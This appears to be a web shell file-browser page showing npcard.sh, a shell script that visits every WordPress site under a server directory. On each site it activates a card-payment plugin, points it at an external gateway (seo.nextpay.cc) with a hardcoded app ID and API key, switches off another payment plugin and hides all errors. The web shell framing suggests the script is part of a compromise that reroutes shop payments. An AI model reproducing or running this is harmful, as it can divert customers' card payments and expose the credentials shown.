HEX
Server: nginx
System: Linux f62c58717270 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64
User: www-data (1000)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //www/wp-cli/npcard.sh
#!/bin/sh

# 配置变量
ROOT_DIR="/www/sites/"
LOG_FILE="/www/wp-cli/npcardlog.txt"
STATE_FILE="/www/wp-cli/npcardstate.txt"
LOCK_FILE="/www/wp-cli/npcard.lock"

# 设置错误处理
set -e
trap 'echo "Script interrupted at line $LINENO" >> "$LOG_FILE"; exit 1' INT TERM

# 日志函数
log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$LOG_FILE" 2>&1
}

# 确保必要的目录和文件存在
ensure_directories() {
    mkdir -p "$(dirname "$LOG_FILE")" 2>/dev/null || true
    touch "$LOG_FILE" "$STATE_FILE"
}

# 防止脚本重复执行
acquire_lock() {
    if [ -f "$LOCK_FILE" ]; then
        LOCK_PID=$(cat "$LOCK_FILE" 2>/dev/null)
        if kill -0 "$LOCK_PID" 2>/dev/null; then
            log "⚠ Script already running (PID: $LOCK_PID), exiting"
            exit 1
        else
            log "⚠ Removing stale lock file"
            rm -f "$LOCK_FILE"
        fi
    fi
    echo $$ > "$LOCK_FILE"
}

release_lock() {
    rm -f "$LOCK_FILE"
}

# 检查WP-CLI是否可用
check_wp_cli() {
    if ! command -v wp >/dev/null 2>&1; then
        log "❌ WP-CLI not found in PATH"
        exit 1
    fi
}

# 检查站点是否有效
is_valid_wp_site() {
    local site_dir="$1"
    [ -f "$site_dir/wp-config.php" ] && [ -d "$site_dir/wp-admin" ] && [ -d "$site_dir/wp-includes" ]
}

# 执行WP-CLI命令并过滤警告
wp_cmd() {
    local site_dir="$1"
    shift
    # 使用 --quiet 抑制所有警告,只保留实际输出和错误
    wp --path="$site_dir" --allow-root --quiet "$@" 2>/dev/null
}

# 处理单个站点
process_site() {
    local site_dir="$1"
    local skip=false
    
    # 检查是否已处理
    if grep -qxF "$site_dir" "$STATE_FILE" 2>/dev/null; then
        log "⏩ Skipping already processed: $site_dir"
        return 0
    fi
    
    # 验证站点
    if ! is_valid_wp_site "$site_dir"; then
        log "⚠ Invalid WordPress site: $site_dir"
        return 1
    fi
    
    log "🔄 Processing: $site_dir"
    
    local error_count=0
    
    # 1. 检查并激活 npcard
    if wp_cmd "$site_dir" plugin is-active npcard >/dev/null 2>&1; then
        log "ℹ npcard already active"
    else
        # 激活时使用 --quiet 和错误重定向
        if wp_cmd "$site_dir" plugin activate npcard 2>/dev/null; then
            log "✅ npcard activated"
        else
            log "❌ Failed to activate npcard"
            error_count=$((error_count + 1))
        fi
    fi
    
    # 2. 更新配置(批量操作)
    # 使用 --quiet 和错误重定向
    if wp_cmd "$site_dir" eval '
        $settings = get_option("woocommerce_npcard_settings", array());
        $settings["enabled"] = "yes";
        $settings["app_id"] = "74da215abc4b63e0ec4831d03ed1a9b0";
        $settings["api_key"] = "1943b35706f6f446e57ccf918480bd2d8b65bf0502f55ee0583e989776a0c111";
        $settings["title"] = "Credit / Debit Card";
        $settings["table_name"] = "wp_npcard_order_info";
        $settings["gateway"] = "https://seo.nextpay.cc";
        update_option("woocommerce_npcard_settings", $settings);
    ' 2>/dev/null; then
        log "✅ npcard settings updated"
    else
        log "❌ Failed to update npcard settings"
        error_count=$((error_count + 1))
    fi
    
    # 3. 禁用 ppcard(如果存在且激活)
    if wp_cmd "$site_dir" plugin is-installed ppcard >/dev/null 2>&1; then
        if wp_cmd "$site_dir" plugin is-active ppcard >/dev/null 2>&1; then
            if wp_cmd "$site_dir" plugin deactivate ppcard 2>/dev/null; then
                log "✅ ppcard deactivated"
            else
                log "❌ Failed to deactivate ppcard"
                error_count=$((error_count + 1))
            fi
        else
            log "ℹ ppcard installed but not active"
        fi
    else
        log "ℹ ppcard not installed"
    fi
    
    # 记录处理结果
    if [ $error_count -eq 0 ]; then
        echo "$site_dir" >> "$STATE_FILE"
        log "✅ Successfully processed: $site_dir"
        return 0
    else
        log "⚠ Completed with $error_count error(s): $site_dir"
        return 1
    fi
}

# 主函数
main() {
    ensure_directories
    acquire_lock
    check_wp_cli
    
    log "🚀 Starting WordPress plugin management script"
    log "📁 Root directory: $ROOT_DIR"
    
    # 统计变量
    total=0
    success=0
    failed=0
    skipped=0
    
    # 使用 find 查找所有 wp-config.php
    while IFS= read -r -d '' config_path; do
        site_dir=$(dirname "$config_path")
        total=$((total + 1))
        
        # 检查是否已处理
        if grep -qxF "$site_dir" "$STATE_FILE" 2>/dev/null; then
            skipped=$((skipped + 1))
            continue
        fi
        
        if process_site "$site_dir"; then
            success=$((success + 1))
        else
            failed=$((failed + 1))
        fi
        
    done < <(find "$ROOT_DIR" -type f -name "wp-config.php" -print0 2>/dev/null || true)
    
    # 输出统计
    log "📊 Summary: Total=$total, Success=$success, Failed=$failed, Skipped=$skipped"
    log "🏁 Script completed"
    
    release_lock
}

# 执行主函数
main "$@"